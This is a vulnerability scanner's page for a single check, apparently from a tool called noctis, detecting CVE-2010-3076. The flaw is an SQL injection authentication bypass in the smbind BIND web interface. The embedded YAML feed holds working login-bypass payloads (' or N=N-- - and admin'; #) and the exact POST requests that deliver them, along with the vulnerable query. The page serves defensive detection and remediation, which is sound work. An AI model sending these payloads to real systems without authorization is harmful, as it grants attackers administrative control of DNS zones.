smbind — 1 vulnerability check

noctis ships 1 vulnerability check for smbind, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Simple Management for BIND (smbind) login SQL injection authentication bypass

CVECVE-2010-3076
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/smbind/CVE-2010-3076.yaml

Looks for the Simple Management for BIND (smbind) web interface (src/main.php showing "Simple Management for BIND") under /smbind and the web root. It then posts two logins to src/main.php whose user name ends in an SQL condition: an always-false one (<random>' or N=N+1-- -) and an always-true one (<random>' or N=N-- -), with a random password. The finding fires when the true condition opens a session (the page shows the "Change password", "Commit changes" and "Log out" menu) while the false one does not: the user name is evaluated inside the login SQL query and the password check is bypassed. When the injection gives no result but the page footer shows smbind 0.4.7 or older, the CVE is reported from the version alone, with lower confidence, unless the login rejected the payload with "Username and password must contain only letters and numbers." (the fixed input filter). Both requests are ordinary login attempts; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/src/main.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/src/main.php with a crafted body
  5. HTTP(S) request POST {{dir}}/src/main.php with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. Checks v.st for . → finding QoD 97: Simple Management for BIND (smbind) login SQL injection authentication bypass
  8. Checks v.st for . → finding QoD 75: Simple Management for BIND (smbind) login SQL injection authentication bypass
  9. Checks fp.ver for ^0\. → finding QoD 70: Simple Management for BIND (smbind) <= 0.4.7 login SQL injection (version)

References:

Feed source — tests/vulnerabilities/smbind/CVE-2010-3076.yaml
# Simple Management for BIND (smbind) <= 0.4.7 src/main.php login SQL injection
# (CVE-2010-3076).
#
# Ported from OpenVAS/Greenbone NVT `2010/gb_smbind_admin_login_sql_inj_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.800186, GPL-2.0-only): GET <dir>/src/main.php for /smbind,
# / and the CGI dirs, '>Simple Management for BIND' in the page, then POST
# username=admin%27%3B+%23&password=test&Submit=Login and report when the reply holds
# '>Change password<', '>Log out<' and '>Commit changes<' (the logged-in menu).
#
# Vulnerable code (smbind 0.4.7, php/src/include.php, included by every page):
#   filter("alphanum", ...) is ereg("([A-Za-z0-9])") — unanchored, any value holding one
#   letter or digit passes — then
#     SELECT ID FROM users WHERE username = '$_SESSION[username]' AND password = '<md5>'
#   and a returned row opens the session. 0.4.8 (SF bug #3055095 "Sql injection on
#   login") anchors the regex (^[A-Za-z0-9._-]*$) and dies with "Username and password
#   must contain only letters and numbers." for anything else.
#
# Better than the NASL:
#   - The NASL payload (admin'; #) needs an account literally named "admin" and a MySQL
#     back end ('#' is no comment in PostgreSQL, which smbind also supports). This feed
#     sends <random>' or N=N-- - : any account matches, '-- -' is a comment in both.
#   - A control login with the false condition N=N+1 is sent first and must NOT open the
#     session: QoD 97 true/false differential. Control without a reply → QoD 75.
#   - smbind <= 0.4.7 in the footer with no injection result → QoD 70 version finding,
#     so installs where the probe cannot work (magic_quotes_gpc escaping the quote) are
#     still reported — unless the payload got the fixed filter's rejection message
#     (a backported fix behind an old footer).
# Both requests are plain login attempts; nothing is read or written.
uid: 3b9e6581-7781-4915-a28c-baa43cde9be4
name: "Simple Management for BIND (smbind) login SQL injection authentication bypass"
description: >-
  Looks for the Simple Management for BIND (smbind) web interface (src/main.php
  showing "Simple Management for BIND") under /smbind and the web root. It then
  posts two logins to src/main.php whose user name ends in an SQL condition: an
  always-false one (<random>' or N=N+1-- -) and an always-true one
  (<random>' or N=N-- -), with a random password. The finding fires when the
  true condition opens a session (the page shows the "Change password", "Commit
  changes" and "Log out" menu) while the false one does not: the user name is
  evaluated inside the login SQL query and the password check is bypassed. When
  the injection gives no result but the page footer shows smbind 0.4.7 or older,
  the CVE is reported from the version alone, with lower confidence, unless
  the login rejected the payload with "Username and password must contain only
  letters and numbers." (the fixed input filter). Both
  requests are ordinary login attempts; no data is read or changed.
category: sqli
cves: [CVE-2010-3076]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [smbind, bind, dns, php, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-3076"
  - "https://sourceforge.net/projects/smbind/"
  - "http://www.securityfocus.com/bid/42919"

steps:
  # Shared random values: user-name prefix, password and the condition operands.
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ u: rand_str(8), p: rand_str(10), n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/smbind", ""]

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: main-page
    action: http_request
    method: GET
    path: "{{dir}}/src/main.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      let ok = page.status == 200 && ereg(">Simple Management for BIND", b);
      let m = eregmatch("Simple Management for BIND, v([0-9][0-9.]*[0-9])", b);
      let ver = if ok && type_of(m) == "array" && m.len() > 1 { m[1] } else { "unknown" };
      #{ ok: ok, ver: ver }
    store_as: fp

  # Control: false condition of the same shape — must not open a session.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/src/main.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username={{rv.u}}%27+or+{{rv.n}}%3D{{rv.f}}--+-&password={{rv.p}}&Submit=Login"
    store_as: ctl

  # Injection: always-true condition in the user name.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/src/main.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "username={{rv.u}}%27+or+{{rv.n}}%3D{{rv.n}}--+-&password={{rv.p}}&Submit=Login"
    store_as: inj

  - id: verdict
    action: script
    code: |
      fn session(r) {
        type_of(r) == "map" && type_of(r.body) == "string"
          && ereg(">Change password<", r.body) && ereg(">Log out<", r.body)
          && ereg(">Commit changes<", r.body)
      }
      let hit = fp.ok && session(inj);
      let ctl_in = session(ctl);
      let ctl_none = type_of(ctl) != "map" || ctl.status == 0;
      let ctl_desc = if ctl_none { "no reply" } else { "status " + ctl.status + ", login form again" };
      let old = fp.ver != "unknown" && ereg("^0\\.([0-3]|4\\.[0-7])(\\.|$)", fp.ver);
      // 0.4.8's anchored filter (or a backport of it) answers the payload with this
      // message: the fix is in place whatever the footer says.
      let fixed = type_of(inj) == "map" && type_of(inj.body) == "string"
        && ereg("must contain only letters and numbers", inj.body);
      let sqli = hit && !ctl_none && !ctl_in;
      let sqli_noctl = hit && ctl_none;
      #{ sqli: sqli, sqli_noctl: sqli_noctl, old: fp.ok && old && !fixed && !sqli && !sqli_noctl,
         st: if hit { "" + inj.status } else { "" }, ctl: ctl_desc }
    store_as: v

  - id: sqli-confirmed
    action: match
    source: v.st
    pattern: "."
    condition: "v.sqli"
    on_match:
      finding:
        cves: [CVE-2010-3076]
        title: "Simple Management for BIND (smbind) login SQL injection authentication bypass"
        description: "The smbind login (src/main.php, through src/include.php) only checks that the user name contains one letter or digit and concatenates it into its SQL query, so an unauthenticated attacker bypasses the password check and administers the BIND zones."
        confidence_delta: 0.65
        qod: 97
        evidence: "smbind {{fp.ver}} at {{dir}}/src/main.php: a login whose user name ends in ' or {{rv.n}}={{rv.n}}-- - with a random password answered status {{v.st}} with the logged-in menu (Change password, Commit changes, Log out); the same login with the false condition {{rv.n}}={{rv.f}} did not ({{v.ctl}})."
        remediation: "Upgrade smbind to 0.4.8 or later, which only accepts letters, digits, '.', '_' and '-' in the user name and password, and restrict access to the interface to trusted administrators."
      stop: true

  - id: sqli-unconfirmed-control
    action: match
    source: v.st
    pattern: "."
    condition: "v.sqli_noctl"
    on_match:
      finding:
        cves: [CVE-2010-3076]
        title: "Simple Management for BIND (smbind) login SQL injection authentication bypass"
        description: "The smbind login (src/main.php, through src/include.php) only checks that the user name contains one letter or digit and concatenates it into its SQL query, so an unauthenticated attacker bypasses the password check and administers the BIND zones."
        confidence_delta: 0.50
        qod: 75
        evidence: "smbind {{fp.ver}} at {{dir}}/src/main.php: a login whose user name ends in ' or {{rv.n}}={{rv.n}}-- - with a random password answered status {{v.st}} with the logged-in menu (Change password, Commit changes, Log out); the false-condition control login got no reply."
        remediation: "Upgrade smbind to 0.4.8 or later, which only accepts letters, digits, '.', '_' and '-' in the user name and password, and restrict access to the interface to trusted administrators."
      stop: true

  - id: version-only
    action: match
    source: fp.ver
    pattern: "^0\\."
    condition: "v.old"
    on_match:
      finding:
        cves: [CVE-2010-3076]
        title: "Simple Management for BIND (smbind) <= 0.4.7 login SQL injection (version)"
        description: "The page footer identifies smbind 0.4.7 or older, whose login concatenates the user name into its SQL query. The login bypass probe did not open a session (for example because magic_quotes_gpc escapes the quote), so this finding rests on the version only."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{dir}}/src/main.php shows \"Simple Management for BIND, v{{fp.ver}}\"; the true-condition login did not open a session."
        remediation: "Upgrade smbind to 0.4.8 or later, which only accepts letters, digits, '.', '_' and '-' in the user name and password, and restrict access to the interface to trusted administrators."
      stop: true

View these feeds on GitHub